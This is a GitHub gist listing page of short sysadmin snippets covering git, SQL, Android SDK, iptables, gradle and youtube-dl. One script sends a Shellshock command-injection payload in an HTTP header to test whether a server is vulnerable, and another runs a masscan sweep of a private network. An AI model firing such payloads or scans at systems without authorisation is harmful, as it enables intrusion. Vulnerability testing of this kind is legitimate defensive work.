Skip to content

Instantly share code, notes, and snippets.

View sdoro's full-sized avatar

Sandro Doro sdoro

View GitHub Profile
@sdoro
sdoro / resetMouse.sh
Created December 30, 2015 19:37
Reset mouse (Gnome)
gsettings reset org.gnome.settings-daemon.peripherals.mouse motion-acceleration
gsettings reset org.gnome.settings-daemon.peripherals.mouse motion-threshold
git init
echo "# aaa" > README.md
git add README.md
git commit -m "A" README.md
echo "# bbb" >> README.md
git commit -m "B" README.md
echo "# ccc" >> README.md
git commit -m "C" README.md
git remote add origin git@github.com:sdoro/aaa.git
git tag push-01
@sdoro
sdoro / rating.sql
Last active February 5, 2016 19:35
Database population
/* Use Postgres SCHEMA */
DROP SCHEMA IF EXISTS films CASCADE;
CREATE SCHEMA films;
SET search_path TO films;
/* Delete the tables if they already exist */
drop table if exists Movie;
drop table if exists Reviewer;
drop table if exists Rating;
@sdoro
sdoro / sys-download.sh
Created October 10, 2014 07:30
download Android sdk sys-image
wget \
https://dl-ssl.google.com/android/repository/sys-img/x86/sysimg_x86-10_r02.zip \
https://dl-ssl.google.com/android/repository/sys-img/x86/sysimg_x86-15_r01.zip \
https://dl-ssl.google.com/android/repository/sys-img/x86/sysimg_x86-16_r01.zip \
https://dl-ssl.google.com/android/repository/sys-img/x86/sysimg_x86-17_r01.zip \
https://dl-ssl.google.com/android/repository/sys-img/x86/sysimg_x86-18_r01.zip \
https://dl-ssl.google.com/android/repository/sys-img/x86/sysimg_x86-19_r02.zip
@sdoro
sdoro / enableUSBidVendor.sh
Last active August 29, 2015 14:07
to create Android real terminal
# change MY_idVendor (Samsung) to the idVendor of your device
MY_idVendor="04e8"
cat <<"EOT" > /etc/udev/rules.d/51-android.rules
SUBSYSTEM=="usb", ATTR{idVendor}=="$MY_idVendor", MODE="0666", GROUP="plugdev"
EOT
#!/bin/bash
url="$1"
tag=`uuid`
payload="() { :;};echo;echo $tag;exit"
vulnerable=0
function shellshock () {
header="$1"
response=`curl --header "$header: $payload" --silent --insecure "$url"`
@sdoro
sdoro / itFlush
Created October 1, 2014 15:19
How to: Linux flush or remove all iptables rules
#
# thanks to: http://www.cyberciti.biz/tips/linux-iptables-how-to-flush-all-rules.html
#
echo "Stopping firewall and allowing everyone..."
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X
@sdoro
sdoro / shell
Last active August 29, 2015 14:07
masscan with banners
iptables -A INPUT -p tcp --dport 60000 -j DROP
masscan 10.0.0.0/8 -p80 --banners --source-port 60000
#
# also before ...
iptables -N LOGGING
iptables -A LOGGING -m limit --limit 200/min -j LOG --log-prefix "SHELLSHOCK: " --log-level 7
iptables -A LOGGING -j RETURN
iptables -A INPUT -s 10.0.0.0/8 -p icmp --icmp-type echo-request -j LOGGING
@sdoro
sdoro / gist:75689217329addf72bb9
Created July 18, 2014 21:10
gradle 2.0 for Ubuntu
add-apt-repository ppa:cwchien/gradle
apt-get update
apt-get install gradle
@sdoro
sdoro / gist:9988665
Created April 5, 2014 07:48
download subtitles for YouTube videos
youtube-dl --write-srt --skip-download http://www.youtube.com/watch?v=5hO3MrzPa0A